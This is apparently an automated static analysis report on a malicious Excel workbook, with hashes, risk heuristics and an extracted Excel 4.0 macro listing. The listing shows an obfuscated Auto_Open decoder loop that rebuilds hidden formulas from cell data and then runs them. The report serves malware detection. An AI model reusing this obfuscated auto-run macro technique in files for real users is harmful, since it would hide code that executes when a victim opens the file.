Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dcebb6e911e4032c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:31:49 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: d2a5dece06930915a188ca6185e63aa7 SHA-1: aa28f70cd7cf7e98d602348e6747d633590c8702 SHA-256: dcebb6e911e4032c104efeec4b76e21be68bb0f42a8563cfea0213cf8df7ba79
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6513 bytes
SHA-256: 6d9071a12abc849e81365bb0e7c19612393b6815288e8e9094d5956bd040eeb0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TyzYIrs
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I188 
' 0018     20 LABEL : Cell Value, String Constant - BzvJZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - CQWUlL len=0 
' 0018     24 LABEL : Cell Value, String Constant - dAlxCYEyV len=0 
' 0018     24 LABEL : Cell Value, String Constant - FILMHjnFN len=0 
' 0018     24 LABEL : Cell Value, String Constant - fiUgBuLMZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - FkwgFQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - HRXoiggESn len=0 
' 0018     23 LABEL : Cell Value, String Constant - JhpHxgla len=0 
' 0018     21 LABEL : Cell Value, String Constant - jqwarS len=0 
' 0018     21 LABEL : Cell Value, String Constant - JtIVqm len=0 
' 0018     21 LABEL : Cell Value, String Constant - nBeejb len=0 
' 0018     21 LABEL : Cell Value, String Constant - nepkUV len=0 
' 0018     26 LABEL : Cell Value, String Constant - oblIeznOcgp len=0 
' 0018     27 LABEL : Cell Value, String Constant - oQcBzNGXsZcD len=0 
' 0018     25 LABEL : Cell Value, String Constant - pKXbgzNAJB len=0 
' 0018     23 LABEL : Cell Value, String Constant - rdSeQYac len=0 
' 0018     27 LABEL : Cell Value, String Constant - vmAZOuBLHmOF len=0 
' 0018     25 LABEL : Cell Value, String Constant - VujPKVtdqt len=0 
' 0018     22 LABEL : Cell Value, String Constant - WNLnmdB len=0 
' 0018     26 LABEL : Cell Value, String Constant - YKMcGHjOMwC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TyzYIrs,I97,"SET.NAME("FILMHjnFN",VALUE("0"))",""
'  TyzYIrs,I101,"SET.NAME("FkwgFQ",FILMHjnFN)",""
'  TyzYIrs,I105,"SET.NAME("YKMcGHjOMwC",FILMHjnFN)",""
'  TyzYIrs,I107,"SET.NAME("rdSeQYac",COUNTA(VujPKVtdqt))",""
'  TyzYIrs,I110,"SET.NAME("nepkUV",COUNTA(JhpHxgla))",""
'  TyzYIrs,I113,[],""
'  TyzYIrs,I115,"SET.NAME("dAlxCYEyV","")",""
'  TyzYIrs,I120,"FkwgFQ",""
'  TyzYIrs,I123,"SET.NAME("CQWUlL",HLOOKUP("*",VujPKVtdqt,FkwgFQ,FALSE))",""
'  TyzYIrs,I127,"vmAZOuBLHmOF",""
'  TyzYIrs,I130,"SET.NAME("nBeejb",FILMHjnFN)",""
'  TyzYIrs,I135,[],""
'  TyzYIrs,I138,"nBeejb",""
'  TyzYIrs,I142,"WNLnmdB",""
'  TyzYIrs,I147,"pKXbgzNAJB",""
'  TyzYIrs,I152,"oQcBzNGXsZcD",""
'  TyzYIrs,I157,"SET.NAME("oblIeznOcgp",VALUE(HLOOKUP("*",JhpHxgla,oQcBzNGXsZcD,FALSE)))",""
'  TyzYIrs,I161,"BzvJZ",""
'  TyzYIrs,I165,"dAlxCYEyV",""
'  TyzYIrs,I167,"YKMcGHjOMwC",""
'  TyzYIrs,I170,NEXT(),""
'  TyzYIrs,I173,"fiUgBuLMZ",""
'  TyzYIrs,I175,"SET.NAME("f",INT(T(FORMULA(T(dAlxCYEyV)&"",""&T(fiUgBuLMZ)))))",""
'  TyzYIrs,I178,"HRXoiggESn",""
'  TyzYIrs,I181,NEXT(),""
'  TyzYIrs,I186,RETURN(),""
'  TyzYIrs,I207,"SET.NAME("jqwarS",I97)",""
'  TyzYIrs,I211,"VujPKVtdqt",""
'  TyzYIrs,I213,"SET.NAME("JhpHxgla",R58C11)",""
'  TyzYIrs,I217,"SET.NAME("HRXoiggESn",222)",""
'  TyzYIrs,I219,"SET.NAME("JtIVqm",9)",""
'  TyzYIrs,I221,jqwarS(),""
'  TyzYIrs,I222,HALT(),""

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